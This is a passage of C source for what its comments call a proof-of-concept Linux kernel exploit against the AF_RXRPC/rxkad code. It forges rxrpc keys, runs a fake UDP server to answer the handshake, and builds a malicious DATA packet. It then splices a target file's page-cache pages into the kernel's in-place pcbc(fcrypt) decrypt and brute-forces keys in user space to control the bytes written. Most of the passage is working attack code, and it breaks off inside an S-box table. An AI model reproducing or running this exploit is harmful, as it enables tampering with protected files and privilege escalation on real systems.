    769   p += clen + pad;
    770   *(uint32_t *)p = htonl(1);
    771   p += 4; /* ntoken */
    772   uint8_t *toklen_p = p;
    773   p += 4;
    774   uint8_t *tokstart = p;
    775   *(uint32_t *)p    = htonl(2);
    776   p += 4; /* sec_ix = RXKAD */
    777   *(uint32_t *)p = htonl(0);
    778   p += 4; /* vice_id */
    779   *(uint32_t *)p = htonl(1);
    780   p += 4; /* kvno */
    781   memcpy(p, SESSION_KEY, 8);
    782   p += 8; /* session_key K */
    783   *(uint32_t *)p = htonl(now);
    784   p += 4;
    785   *(uint32_t *)p = htonl(expires);
    786   p += 4;
    787   *(uint32_t *)p = htonl(1);
    788   p += 4; /* primary_flag */
    789   *(uint32_t *)p = htonl(8);
    790   p += 4; /* ticket_len */
    791   memset(p, 0xCC, 8);
    792   p += 8; /* ticket */
    793   uint32_t toklen       = (uint32_t)(p - tokstart);
    794   *(uint32_t *)toklen_p = htonl(toklen);
    795   if ((size_t)(p - out) > maxlen) {
    796     errno = E2BIG;
    797     return -1;
    798   }
    799   return (int)(p - out);
    800 }
    801 
    802 static long add_rxrpc_key(const char *desc) {
    803   uint8_t buf[512];
    804   int     n = build_rxrpc_v1_token(buf, sizeof(buf));
    805   if (n < 0) return -1;
    806   return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);
    807 }
    808 
    809 /* =================================================================== */
    810 /* AF_ALG pcbc(fcrypt) helpers                                          */
    811 /* =================================================================== */
    812 
    813 static int alg_open_pcbc_fcrypt(const uint8_t key[8]) {
    814   int s = socket(AF_ALG, SOCK_SEQPACKET, 0);
    815   if (s < 0) {
    816     WARN("socket(AF_ALG): %s", strerror(errno));
    817     return -1;
    818   }
    819   struct sockaddr_alg sa = {.salg_family = AF_ALG};
    820   strcpy((char *)sa.salg_type, "skcipher");
    821   strcpy((char *)sa.salg_name, "pcbc(fcrypt)");
    822   if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
    823     WARN("bind(AF_ALG pcbc(fcrypt)): %s", strerror(errno));
    824     close(s);
    825     return -1;
    826   }
    827   if (setsockopt(s, SOL_ALG, ALG_SET_KEY, key, 8) < 0) {
    828     WARN("ALG_SET_KEY: %s", strerror(errno));
    829     close(s);
    830     return -1;
    831   }
    832   return s;
    833 }
    834 
    835 /* Encrypt-or-decrypt a 1+ block of data with a given IV. */
    836 static int alg_op(int alg_s, int op, const uint8_t iv[8], const void *in, size_t inlen, void *out) {
    837   int op_fd = accept(alg_s, NULL, NULL);
    838   if (op_fd < 0) {
    839     WARN("accept(AF_ALG): %s", strerror(errno));
    840     return -1;
    841   }
    842 
    843   char          cbuf[CMSG_SPACE(sizeof(int)) + CMSG_SPACE(sizeof(struct af_alg_iv) + 8)] = {0};
    844   struct msghdr msg                                                                      = {0};
    845   msg.msg_control                                                                        = cbuf;
    846   msg.msg_controllen                                                                     = sizeof(cbuf);
    847 
    848   struct cmsghdr *c    = CMSG_FIRSTHDR(&msg);
    849   c->cmsg_level        = SOL_ALG;
    850   c->cmsg_type         = ALG_SET_OP;
    851   c->cmsg_len          = CMSG_LEN(sizeof(int));
    852   *(int *)CMSG_DATA(c) = op;
    853 
    854   c                     = CMSG_NXTHDR(&msg, c);
    855   c->cmsg_level         = SOL_ALG;
    856   c->cmsg_type          = ALG_SET_IV;
    857   c->cmsg_len           = CMSG_LEN(sizeof(struct af_alg_iv) + 8);
    858   struct af_alg_iv *aiv = (struct af_alg_iv *)CMSG_DATA(c);
    859   aiv->ivlen            = 8;
    860   memcpy(aiv->iv, iv, 8);
    861 
    862   struct iovec iov = {.iov_base = (void *)in, .iov_len = inlen};
    863   msg.msg_iov      = &iov;
    864   msg.msg_iovlen   = 1;
    865 
    866   if (sendmsg(op_fd, &msg, 0) < 0) {
    867     WARN("AF_ALG sendmsg: %s", strerror(errno));
    868     close(op_fd);
    869     return -1;
    870   }
    871   ssize_t n = read(op_fd, out, inlen);
    872   close(op_fd);
    873   if (n != (ssize_t)inlen) {
    874     WARN("AF_ALG read got %zd want %zu: %s", n, inlen, strerror(errno));
    875     return -1;
    876   }
    877   return 0;
    878 }
    879 
    880 /* Compute conn->rxkad.csum_iv (ref: rxkad_prime_packet_security):
    881  *   tmpbuf[0..3] = htonl(epoch, cid, 0, security_ix)  (16 B)
    882  *   PCBC-encrypt(tmpbuf, IV=session_key) → out[16]
    883  *   csum_iv = out[8..15]   (last 8 B = "tmpbuf[2..3]" after encryption)
    884  */
    885 static int compute_csum_iv(uint32_t epoch, uint32_t cid, uint32_t sec_ix, const uint8_t key[8], uint8_t csum_iv[8]) {
    886   int s = alg_open_pcbc_fcrypt(key);
    887   if (s < 0) return -1;
    888   uint32_t in[4] = {htonl(epoch), htonl(cid), 0, htonl(sec_ix)};
    889   uint8_t  out[16];
    890   int      rc = alg_op(s, ALG_OP_ENCRYPT, key, in, 16, out);
    891   close(s);
    892   if (rc < 0) return -1;
    893   memcpy(csum_iv, out + 8, 8);
    894   return 0;
    895 }
    896 
    897 /* Compute the wire cksum (ref: rxkad_secure_packet @rxkad.c:342):
    898  *   x = (cid_low2 << 30) | (seq & 0x3fffffff)
    899  *   buf[0] = htonl(call_id), buf[1] = htonl(x)    (8 B)
    900  *   PCBC-encrypt(buf, IV=csum_iv) → enc[8]
    901  *   y = ntohl(enc[1]); cksum = (y >> 16) & 0xffff;  if zero -> 1
    902  */
    903 static int compute_cksum(uint32_t cid, uint32_t call_id, uint32_t seq, const uint8_t key[8], const uint8_t csum_iv[8],
    904                          uint16_t *cksum_out) {
    905   int s = alg_open_pcbc_fcrypt(key);
    906   if (s < 0) return -1;
    907   uint32_t x = (cid & RXRPC_CHANNELMASK) << (32 - RXRPC_CIDSHIFT);
    908   x |= seq & 0x3fffffff;
    909   uint32_t in[2] = {htonl(call_id), htonl(x)};
    910   uint32_t out[2];
    911   int      rc = alg_op(s, ALG_OP_ENCRYPT, csum_iv, in, 8, out);
    912   close(s);
    913   if (rc < 0) return -1;
    914   uint32_t y = ntohl(out[1]);
    915   uint16_t v = (y >> 16) & 0xffff;
    916   if (v == 0) v = 1;
    917   *cksum_out = v;
    918   return 0;
    919 }
    920 
    921 /* =================================================================== */
    922 /* AF_RXRPC client                                                      */
    923 /* =================================================================== */
    924 
    925 static int setup_rxrpc_client(uint16_t local_port, const char *keyname) {
    926   int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
    927   if (fd < 0) {
    928     WARN("socket(AF_RXRPC client): %s", strerror(errno));
    929     return -1;
    930   }
    931   if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY, keyname, strlen(keyname)) < 0) {
    932     WARN("client SECURITY_KEY: %s", strerror(errno));
    933     close(fd);
    934     return -1;
    935   }
    936   int min_level = RXRPC_SECURITY_AUTH;
    937   if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL, &min_level, sizeof(min_level)) < 0) {
    938     WARN("client MIN_SECURITY_LEVEL: %s", strerror(errno));
    939     close(fd);
    940     return -1;
    941   }
    942   struct sockaddr_rxrpc srx         = {0};
    943   srx.srx_family                    = AF_RXRPC;
    944   srx.srx_service                   = 0;
    945   srx.transport_type                = SOCK_DGRAM;
    946   srx.transport_len                 = sizeof(struct sockaddr_in);
    947   srx.transport.sin.sin_family      = AF_INET;
    948   srx.transport.sin.sin_port        = htons(local_port);
    949   srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
    950   if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) {
    951     WARN("client bind :%u: %s", local_port, strerror(errno));
    952     close(fd);
    953     return -1;
    954   }
    955   LOG("AF_RXRPC client bound :%u", local_port);
    956   return fd;
    957 }
    958 
    959 static int rxrpc_client_initiate_call(int cli_fd, uint16_t srv_port, uint16_t service_id, unsigned long user_call_id) {
    960   char                  data[8]     = "PINGPING";
    961   struct sockaddr_rxrpc srx         = {0};
    962   srx.srx_family                    = AF_RXRPC;
    963   srx.srx_service                   = service_id;
    964   srx.transport_type                = SOCK_DGRAM;
    965   srx.transport_len                 = sizeof(struct sockaddr_in);
    966   srx.transport.sin.sin_family      = AF_INET;
    967   srx.transport.sin.sin_port        = htons(srv_port);
    968   srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
    969 
    970   char          cmsg_buf[CMSG_SPACE(sizeof(unsigned long))];
    971   struct msghdr msg                 = {0};
    972   msg.msg_name                      = &srx;
    973   msg.msg_namelen                   = sizeof(srx);
    974   struct iovec iov                  = {.iov_base = data, .iov_len = sizeof(data)};
    975   msg.msg_iov                       = &iov;
    976   msg.msg_iovlen                    = 1;
    977   msg.msg_control                   = cmsg_buf;
    978   msg.msg_controllen                = sizeof(cmsg_buf);
    979   struct cmsghdr *cmsg              = CMSG_FIRSTHDR(&msg);
    980   cmsg->cmsg_level                  = SOL_RXRPC;
    981   cmsg->cmsg_type                   = RXRPC_USER_CALL_ID;
    982   cmsg->cmsg_len                    = CMSG_LEN(sizeof(unsigned long));
    983   *(unsigned long *)CMSG_DATA(cmsg) = user_call_id;
    984 
    985   /* Don't block forever if no reply ever comes through this single sendmsg. */
    986   int fl = fcntl(cli_fd, F_GETFL);
    987   fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK);
    988 
    989   ssize_t n = sendmsg(cli_fd, &msg, 0);
    990   fcntl(cli_fd, F_SETFL, fl);
    991   if (n < 0) {
    992     if (errno == EAGAIN || errno == EWOULDBLOCK) {
    993       LOG("client sendmsg returned EAGAIN (expected; kernel will keep "
    994           "retrying handshake)");
    995       return 0;
    996     }
    997     WARN("client sendmsg: %s", strerror(errno));
    998     return -1;
    999   }
   1000   LOG("client sendmsg %zd B → :%u (handshake will follow asynchronously)", n, srv_port);
   1001   return 0;
   1002 }
   1003 
   1004 /* =================================================================== */
   1005 /* fake-server (plain UDP)                                              */
   1006 /* =================================================================== */
   1007 
   1008 static int setup_udp_server(uint16_t port) {
   1009   int s = socket(AF_INET, SOCK_DGRAM, 0);
   1010   if (s < 0) {
   1011     WARN("socket(udp server): %s", strerror(errno));
   1012     return -1;
   1013   }
   1014   struct sockaddr_in sa = {0};
   1015   sa.sin_family         = AF_INET;
   1016   sa.sin_port           = htons(port);
   1017   sa.sin_addr.s_addr    = htonl(0x7F000001);
   1018   if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
   1019     WARN("udp server bind :%u: %s", port, strerror(errno));
   1020     close(s);
   1021     return -1;
   1022   }
   1023   LOG("plain UDP fake-server bound :%u", port);
   1024   return s;
   1025 }
   1026 
   1027 /* Receive one UDP datagram with timeout (ms). Returns bytes or -1. */
   1028 static ssize_t udp_recv_to(int s, void *buf, size_t cap, struct sockaddr_in *from, int timeout_ms) {
   1029   struct pollfd pfd = {.fd = s, .events = POLLIN};
   1030   int           rc  = poll(&pfd, 1, timeout_ms);
   1031   if (rc <= 0) return -1;
   1032   socklen_t fl = from ? sizeof(*from) : 0;
   1033   return recvfrom(s, buf, cap, 0, (struct sockaddr *)from, from ? &fl : NULL);
   1034 }
   1035 
   1036 /* =================================================================== */
   1037 /* main PoC                                                             */
   1038 /* =================================================================== */
   1039 
   1040 static int trigger_seq = 0;
   1041 
   1042 static int do_one_trigger(int target_fd, off_t splice_off, size_t splice_len) {
   1043   char keyname[32];
   1044   snprintf(keyname, sizeof(keyname), "evil%d", trigger_seq++);
   1045 
   1046   long key = add_rxrpc_key(keyname);
   1047   if (key < 0) {
   1048     if (trigger_seq < 5) WARN("add_rxrpc_key(%s): %s", keyname, strerror(errno));
   1049     return -1;
   1050   }
   1051 
   1052   /* Use varying ports so kernel TIME_WAIT / stale state does not bite. */
   1053   uint16_t port_S = 7777 + (trigger_seq * 2 % 200);
   1054   uint16_t port_C = port_S + 1;
   1055   uint16_t svc_id = 1234;
   1056 
   1057   int udp_srv = setup_udp_server(port_S);
   1058   if (udp_srv < 0) {
   1059     if (trigger_seq < 5) WARN("setup_udp_server(%u) failed", port_S);
   1060     syscall(SYS_keyctl, 3 /*KEYCTL_INVALIDATE*/, key);
   1061     return -1;
   1062   }
   1063 
   1064   int rxsk_cli = setup_rxrpc_client(port_C, keyname);
   1065   if (rxsk_cli < 0) {
   1066     if (trigger_seq < 5) WARN("setup_rxrpc_client(%u, %s) failed", port_C, keyname);
   1067     close(udp_srv);
   1068     syscall(SYS_keyctl, 3, key);
   1069     return -1;
   1070   }
   1071 
   1072   if (rxrpc_client_initiate_call(rxsk_cli, port_S, svc_id, 0xDEAD) < 0) {
   1073     if (trigger_seq < 5) WARN("rxrpc_client_initiate_call failed");
   1074     close(rxsk_cli);
   1075     close(udp_srv);
   1076     syscall(SYS_keyctl, 3, key);
   1077     return -1;
   1078   }
   1079 
   1080   uint8_t            pkt[2048];
   1081   struct sockaddr_in cli_addr;
   1082   ssize_t            n = udp_recv_to(udp_srv, pkt, sizeof(pkt), &cli_addr, 1500);
   1083   if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) {
   1084     if (trigger_seq < 5) WARN("udp_recv_to: n=%zd errno=%s", n, strerror(errno));
   1085     close(rxsk_cli);
   1086     close(udp_srv);
   1087     syscall(SYS_keyctl, 3, key);
   1088     return -1;
   1089   }
   1090   struct rxrpc_wire_header *whdr_in  = (struct rxrpc_wire_header *)pkt;
   1091   uint32_t                  epoch    = ntohl(whdr_in->epoch);
   1092   uint32_t                  cid      = ntohl(whdr_in->cid);
   1093   uint32_t                  callN    = ntohl(whdr_in->callNumber);
   1094   uint16_t                  svc_in   = ntohs(whdr_in->serviceId);
   1095   uint16_t                  cli_port = ntohs(cli_addr.sin_port);
   1096 
   1097   /* Send CHALLENGE */
   1098   {
   1099     struct {
   1100       struct rxrpc_wire_header hdr;
   1101       struct rxkad_challenge   ch;
   1102     } __attribute__((packed)) c = {0};
   1103     c.hdr.epoch                 = htonl(epoch);
   1104     c.hdr.cid                   = htonl(cid);
   1105     c.hdr.callNumber            = 0;
   1106     c.hdr.seq                   = 0;
   1107     c.hdr.serial                = htonl(0x10000);
   1108     c.hdr.type                  = RXRPC_PACKET_TYPE_CHALLENGE;
   1109     c.hdr.securityIndex         = 2;
   1110     c.hdr.serviceId             = htons(svc_in);
   1111     c.ch.version                = htonl(2);
   1112     c.ch.nonce                  = htonl(0xDEADBEEFu);
   1113     c.ch.min_level              = htonl(1);
   1114     struct sockaddr_in to = {.sin_family = AF_INET, .sin_port = htons(cli_port), .sin_addr.s_addr = htonl(0x7F000001)};
   1115     if (sendto(udp_srv, &c, sizeof(c), 0, (struct sockaddr *)&to, sizeof(to)) < 0) {
   1116       close(rxsk_cli);
   1117       close(udp_srv);
   1118       syscall(SYS_keyctl, 3, key);
   1119       return -1;
   1120     }
   1121   }
   1122 
   1123   /* Drain RESPONSE (best-effort) */
   1124   for (int i = 0; i < 4; i++) {
   1125     struct sockaddr_in src;
   1126     if (udp_recv_to(udp_srv, pkt, sizeof(pkt), &src, 500) < 0) break;
   1127   }
   1128 
   1129   /* csum + cksum with CURRENT SESSION_KEY */
   1130   uint8_t csum_iv[8] = {0};
   1131   if (compute_csum_iv(epoch, cid, 2, SESSION_KEY, csum_iv) < 0) {
   1132     close(rxsk_cli);
   1133     close(udp_srv);
   1134     syscall(SYS_keyctl, 3, key);
   1135     return -1;
   1136   }
   1137   uint16_t cksum_h = 0;
   1138   if (compute_cksum(cid, callN, 1, SESSION_KEY, csum_iv, &cksum_h) < 0) {
   1139     close(rxsk_cli);
   1140     close(udp_srv);
   1141     syscall(SYS_keyctl, 3, key);
   1142     return -1;
   1143   }
   1144 
   1145   /* Build malicious DATA header */
   1146   struct rxrpc_wire_header mal = {0};
   1147   mal.epoch                    = htonl(epoch);
   1148   mal.cid                      = htonl(cid);
   1149   mal.callNumber               = htonl(callN);
   1150   mal.seq                      = htonl(1);
   1151   mal.serial                   = htonl(0x42000);
   1152   mal.type                     = RXRPC_PACKET_TYPE_DATA;
   1153   mal.flags                    = RXRPC_LAST_PACKET;
   1154   mal.securityIndex            = 2;
   1155   mal.cksum                    = htons(cksum_h);
   1156   mal.serviceId                = htons(svc_in);
   1157 
   1158   /* connect udp_srv → client port for splice */
   1159   struct sockaddr_in dst = {.sin_family = AF_INET, .sin_port = htons(cli_port), .sin_addr.s_addr = htonl(0x7F000001)};
   1160   if (connect(udp_srv, (struct sockaddr *)&dst, sizeof(dst)) < 0) {
   1161     close(rxsk_cli);
   1162     close(udp_srv);
   1163     syscall(SYS_keyctl, 3, key);
   1164     return -1;
   1165   }
   1166 
   1167   /* pipe + vmsplice header + splice file → pipe → udp_srv */
   1168   int p[2];
   1169   if (pipe(p) < 0) {
   1170     close(rxsk_cli);
   1171     close(udp_srv);
   1172     syscall(SYS_keyctl, 3, key);
   1173     return -1;
   1174   }
   1175   {
   1176     struct iovec viv = {.iov_base = &mal, .iov_len = sizeof(mal)};
   1177     if (vmsplice(p[1], &viv, 1, 0) < 0) goto trig_fail;
   1178   }
   1179   {
   1180     loff_t off = splice_off;
   1181     if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0) goto trig_fail;
   1182   }
   1183   if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0) {
   1184     goto trig_fail;
   1185   }
   1186   close(p[0]);
   1187   close(p[1]);
   1188 
   1189   /* recvmsg the malicious DATA into the kernel's verify_packet path */
   1190   int fl = fcntl(rxsk_cli, F_GETFL);
   1191   fcntl(rxsk_cli, F_SETFL, fl | O_NONBLOCK);
   1192   for (int round = 0; round < 5; round++) {
   1193     char                  rb[2048];
   1194     struct sockaddr_rxrpc srx;
   1195     char                  ccb[256];
   1196     struct msghdr         m  = {0};
   1197     struct iovec          iv = {.iov_base = rb, .iov_len = sizeof(rb)};
   1198     m.msg_name               = &srx;
   1199     m.msg_namelen            = sizeof(srx);
   1200     m.msg_iov                = &iv;
   1201     m.msg_iovlen             = 1;
   1202     m.msg_control            = ccb;
   1203     m.msg_controllen         = sizeof(ccb);
   1204     ssize_t r                = recvmsg(rxsk_cli, &m, 0);
   1205     if (r > 0) break;
   1206     if (errno == EAGAIN || errno == EWOULDBLOCK)
   1207       usleep(20000);
   1208     else
   1209       break;
   1210   }
   1211   fcntl(rxsk_cli, F_SETFL, fl);
   1212 
   1213   close(rxsk_cli);
   1214   close(udp_srv);
   1215   syscall(SYS_keyctl, 3, key);
   1216   return 0;
   1217 
   1218 trig_fail:
   1219   close(p[0]);
   1220   close(p[1]);
   1221   close(rxsk_cli);
   1222   close(udp_srv);
   1223   syscall(SYS_keyctl, 3, key);
   1224   return -1;
   1225 }
   1226 
   1227 /* ===================================================================
   1228  * USER-SPACE pcbc(fcrypt) BRUTE-FORCE
   1229  *
   1230  * The kernel's rxkad_verify_packet_1() does an in-place 8-byte
   1231  * pcbc(fcrypt) decrypt with iv=0 over the page-cache page at the splice
   1232  * offset.  pcbc with single 8-B block and IV=0 reduces to a plain
   1233  * fcrypt_decrypt(C, K).  We can therefore search for the right K
   1234  * entirely in user-space — without touching the kernel/VM at all —
   1235  * before applying ONE deterministic kernel trigger.
   1236  *
   1237  * Port of crypto/fcrypt.c from the kernel source (David Howells / KTH).
   1238  * Verified against kernel test vectors:
   1239  *   K=0,         decrypt(0E0900C73EF7ED41) = 00000000
   1240  *   K=1144...66, decrypt(D8ED787477EC0680) = 123456789ABCDEF0
   1241  * =================================================================== */
   1242 
   1243 static const uint8_t fc_sbox0_raw[256] = {
   1244     0xea, 0x7f, 0xb2, 0x64, 0x9d, 0xb0, 0xd9, 0x11, 0xcd, 0x86, 0x86, 0x91, 0x0a, 0xb2, 0x93, 0x06, 0x0e, 0x06, 0xd2,
   1245     0x65, 0x73, 0xc5, 0x28, 0x60, 0xf2, 0x20, 0xb5, 0x38, 0x7e, 0xda, 0x9f, 0xe3, 0xd2, 0xcf, 0xc4, 0x3c, 0x61, 0xff,
   1246     0x4a, 0x4a, 0x35, 0xac, 0xaa, 0x5f, 0x2b, 0xbb, 0xbc, 0x53, 0x4e, 0x9d, 0x78, 0xa3, 0xdc, 0x09, 0x32, 0x10, 0xc6,
   1247     0x6f, 0x66, 0xd6, 0xab, 0xa9, 0xaf, 0xfd, 0x3b, 0x95, 0xe8, 0x34, 0x9a, 0x81, 0x72, 0x80, 0x9c, 0xf3, 0xec, 0xda,
   1248     0x9f, 0x26, 0x76, 0x15, 0x3e, 0x55, 0x4d, 0xde, 0x84, 0xee, 0xad, 0xc7, 0xf1, 0x6b, 0x3d, 0xd3, 0x04, 0x49, 0xaa,
   1249     0x24, 0x0b, 0x8a, 0x83, 0xba, 0xfa, 0x85, 0xa0, 0xa8, 0xb1, 0xd4, 0x01, 0xd8, 0x70, 0x64, 0xf0, 0x51, 0xd2, 0xc3,
   1250     0xa7, 0x75, 0x8c, 0xa5, 0x64, 0xef, 0x10, 0x4e, 0xb7, 0xc6, 0x61, 0x03, 0xeb, 0x44, 0x3d, 0xe5, 0xb3, 0x5b, 0xae,
   1251     0xd5, 0xad, 0x1d, 0xfa, 0x5a, 0x1e, 0x33, 0xab, 0x93, 0xa2, 0xb7, 0xe7, 0xa8, 0x45, 0xa4, 0xcd, 0x29, 0x63, 0x44,
   1252     0xb6, 0x69, 0x7e, 0x2e, 0x62, 0x03, 0xc8, 0xe0, 0x17, 0xbb, 0xc7, 0xf3, 0x3f, 0x36, 0xba, 0x71, 0x8e, 0x97, 0x65,
   1253     0x60, 0x69, 0xb6, 0xf6, 0xe6, 0x6e, 0xe0, 0x81, 0x59, 0xe8, 0xaf, 0xdd, 0x95, 0x22, 0x99, 0xfd, 0x63, 0x19, 0x74,
   1254     0x61, 0xb1, 0xb6, 0x5b, 0xae, 0x54, 0xb3, 0x70, 0xff, 0xc6, 0x3b, 0x3e, 0xc1, 0xd7, 0xe1, 0x0e, 0x76, 0xe5, 0x36,
   1255     0x4f, 0x59, 0xc7, 0x08, 0x6e, 0x82, 0xa6, 0x93, 0xc4, 0xaa, 0x26, 0x49, 0xe0, 0x21, 0x64, 0x07, 0x9f, 0x64, 0x81,
   1256     0x9c, 0xbf, 0xf9, 0xd1, 0x43, 0xf8, 0xb6, 0xb9, 0xf1, 0x24, 0x75, 0x03, 0xe4, 0xb0, 0x99, 0x46, 0x3d, 0xf5, 0xd1,
   1257     0x39, 0x72, 0x12, 0xf6, 0xba, 0x0c, 0x0d, 0x42, 0x2e,
   1258 };
   1259 static const uint8_t fc_sbox1_raw[256] = {
   1260     0x77, 0x14, 0xa6, 0xfe, 0xb2, 0x5e, 0x8c, 0x3e, 0x67, 0x6c, 0xa1, 0x0d, 0xc2, 0xa2, 0xc1, 0x85, 0x6c, 0x7b, 0x67,
   1261     0xc6, 0x23, 0xe3, 0xf2, 0x89, 0x50, 0x9c, 0x03, 0xb7, 0x73, 0xe6, 0xe1, 0x39, 0x31, 0x2c, 0x27, 0x9f, 0xa5, 0x69,
   1262     0x44, 0xd6, 0x23, 0x83, 0x98, 0x7d, 0x3c, 0xb4, 0x2d, 0x99, 0x1c, 0x1f, 0x8c, 0x20, 0x03, 0x7c, 0x5f, 0xad, 0xf4,
   1263     0xfa, 0x95, 0xca, 0x76, 0x44, 0xcd, 0xb6, 0xb8, 0xa1, 0xa1, 0xbe, 0x9e, 0x54, 0x8f, 0x0b, 0x16, 0x74, 0x31, 0x8a,
   1264     0x23, 0x17, 0x04, 0xfa, 0x79, 0x84, 0xb1, 0xf5, 0x13, 0xab, 0xb5, 0x2e, 0xaa, 0x0c, 0x60, 0x6b, 0x5b, 0xc4, 0x4b,
   1265     0xbc, 0xe2, 0xaf, 0x45, 0x73, 0xfa, 0xc9, 0x49, 0xcd, 0x00, 0x92, 0x7d, 0x97, 0x7a, 0x18, 0x60, 0x3d, 0xcf, 0x5b,
   1266     0xde, 0xc6, 0xe2, 0xe6, 0xbb, 0x8b, 0x06, 0xda, 0x08, 0x15, 0x1b, 0x88, 0x6a, 0x17, 0x89, 0xd0, 0xa9, 0xc1, 0xc9,
   1267     0x70, 0x6b, 0xe5, 0x43, 0xf4, 0x68, 0xc8, 0xd3, 0x84, 0x28, 0x0a, 0x52, 0x66, 0xa3, 0xca, 0xf2, 0xe3, 0x7f, 0x7a,
   1268     0x31, 0xf7, 0x88, 0x94, 0x5e, 0x9c, 0x63, 0xd5, 0x24, 0x66, 0xfc, 0xb3, 0x57, 0x25, 0xbe, 0x89, 0x44, 0xc4, 0xe0,
   1269     0x8f, 0x23, 0x3c, 0x12, 0x52, 0xf5, 0x1e, 0xf4, 0xcb, 0x18, 0x33, 0x1f, 0xf8, 0x69, 0x10, 0x9d, 0xd3, 0xf7, 0x28,
   1270     0xf8, 0x30, 0x05, 0x5e, 0x32, 0xc0, 0xd5, 0x19, 0xbd, 0x45, 0x8b, 0x5b, 0xfd, 0xbc, 0xe2, 0x5c, 0xa9, 0x96, 0xef,
   1271     0x70, 0xcf, 0xc2, 0x2a, 0xb3, 0x61, 0xad, 0x80, 0x48, 0x81, 0xb7, 0x1d, 0x43, 0xd9, 0xd7, 0x45, 0xf0, 0xd8, 0x8a,
   1272     0x59, 0x7c, 0x57, 0xc1, 0x79, 0xc7, 0x34, 0xd6, 0x43, 0xdf, 0xe4, 0x78, 0x16, 0x06, 0xda, 0x92, 0x76, 0x51, 0xe1,
   1273     0xd4, 0x70, 0x03, 0xe0, 0x2f, 0x96, 0x91, 0x82, 0x80,
   1274 };
   1275 static const uint8_t fc_sbox2_raw[256] = {
   1276     0xf0, 0x37, 0x24, 0x53, 0x2a, 0x03, 0x83, 0x86, 0xd1, 0xec, 0x50, 0xf0, 0x42, 0x78, 0x2f, 0x6d, 0xbf, 0x80, 0x87,
   1277     0x27, 0x95, 0xe2, 0xc5, 0x5d, 0xf9, 0x6f, 0xdb, 0xb4, 0x65, 0x6e, 0xe7, 0x24, 0xc8, 0x1a, 0xbb, 0x49, 0xb5, 0x0a,
   1278     0x7d, 0xb9, 0xe8, 0xdc, 0xb7, 0xd9, 0x45, 0x20, 0x1b, 0xce, 0x59, 0x9d, 0x6b, 0xbd, 0x0e, 0x8f, 0xa3, 0xa9, 0xbc,
   1279     0x74, 0xa6, 0xf6, 0x7f, 0x5f, 0xb1, 0x68, 0x84, 0xbc, 0xa9, 0xfd, 0x55, 0x50, 0xe9, 0xb6, 0x13, 0x5e, 0x07, 0xb8,
   1280     0x95, 0x02, 0xc0, 0xd0, 0x6a, 0x1a, 0x85, 0xbd, 0xb6, 0xfd, 0xfe, 0x17, 0x3f, 0x09, 0xa3, 0x8d, 0xfb, 0xed, 0xda,
   1281     0x1d, 0x6d, 0x1c, 0x6c, 0x01, 0x5a, 0xe5, 0x71, 0x3e, 0x8b, 0x6b, 0xbe, 0x29, 0xeb, 0x12, 0x19, 0x34, 0xcd, 0xb3,
   1282     0xbd, 0x35, 0xea, 0x4b, 0xd5, 0xae, 0x2a, 0x79, 0x5a, 0xa5, 0x32, 0x12, 0x7b, 0xdc, 0x2c, 0xd0, 0x22, 0x4b, 0xb1,
   1283     0x85, 0x59, 0x80, 0xc0, 0x30, 0x9f, 0x73, 0xd3, 0x14, 0x48, 0x40, 0x07, 0x2d, 0x8f, 0x80, 0x0f, 0xce, 0x0b, 0x5e,
   1284     0xb7, 0x5e, 0xac, 0x24, 0x94, 0x4a, 0x18, 0x15, 0x05, 0xe8, 0x02, 0x77, 0xa9, 0xc7, 0x40, 0x45, 0x89, 0xd1, 0xea,
   1285     0xde, 0x0c, 0x79, 0x2a, 0x99, 0x6c, 0x3e, 0x95, 0xdd, 0x8c, 0x7d, 0xad, 0x6f, 0xdc, 0xff, 0xfd, 0x62, 0x47, 0xb3,
   1286     0x21, 0x8a, 0xec, 0x8e, 0x19, 0x18, 0xb4, 0x6e, 0x3d, 0xfd, 0x74, 0x54, 0x1e, 0x04, 0x85, 0xd8, 0xbc, 0x1f, 0x56,
   1287     0xe7, 0x3a, 0x56, 0x67, 0xd6, 0xc8, 0xa5, 0xf3, 0x8e, 0xde, 0xae, 0x37, 0x49, 0xb7, 0xfa, 0xc8, 0xf4, 0x1f, 0xe0,
   1288     0x2a, 0x9b, 0x15, 0xd1, 0x34, 0x0e, 0xb5, 0xe0, 0x44, 0x78, 0x84, 0x59, 0x56, 0x68, 0x77, 0xa5, 0x14, 0x06, 0xf5,
   1289     0x2f, 0x8c, 0x8a, 0x73, 0x80, 0x76, 0xb4, 0x10, 0x86,
   1290 };
   1291 static const uint8_t fc_sbox3_raw[256] = {
   1292     0xa9, 0x2a, 0x48, 0x51, 0x84, 0x7e, 0x49, 0xe2, 0xb5, 0xb7, 0x42, 0x33, 0x7d, 0x5d, 0xa6, 0x12, 0x44, 0x48, 0x6d,
   1293     0x28, 0xaa, 0x20, 0x6d, 0x57, 0xd6, 0x6b, 0x5d, 0x72, 0xf0, 0x92, 0x5a, 0x1b, 0x53, 0x80, 0x24, 0x70, 0x9a, 0xcc,
   1294     0xa7, 0x66, 0xa1, 0x01, 0xa5, 0x41, 0x97, 0x41, 0x31, 0x82, 0xf1, 0x14, 0xcf, 0x53, 0x0d, 0xa0, 0x10, 0xcc, 0x2a,
   1295     0x7d, 0xd2, 0xbf, 0x4b, 0x1a, 0xdb, 0x16, 0x47, 0xf6, 0x51, 0x36, 0xed, 0xf3, 0xb9, 0x1a, 0xa7, 0xdf, 0x29, 0x43,
   1296     0x01, 0x54, 0x70, 0xa4, 0xbf, 0xd4, 0x0b, 0x53, 0x44, 0x60, 0x9e, 0x23, 0xa1, 0x18, 0x68, 0x4f, 0xf0, 0x2f, 0x82,
   1297     0xc2, 0x2a, 0x41, 0xb2, 0x42, 0x0c, 0xed, 0x0c, 0x1d, 0x13, 0x3a, 0x3c, 0x6e, 0x35, 0xdc, 0x60, 0x65, 0x85, 0xe9,
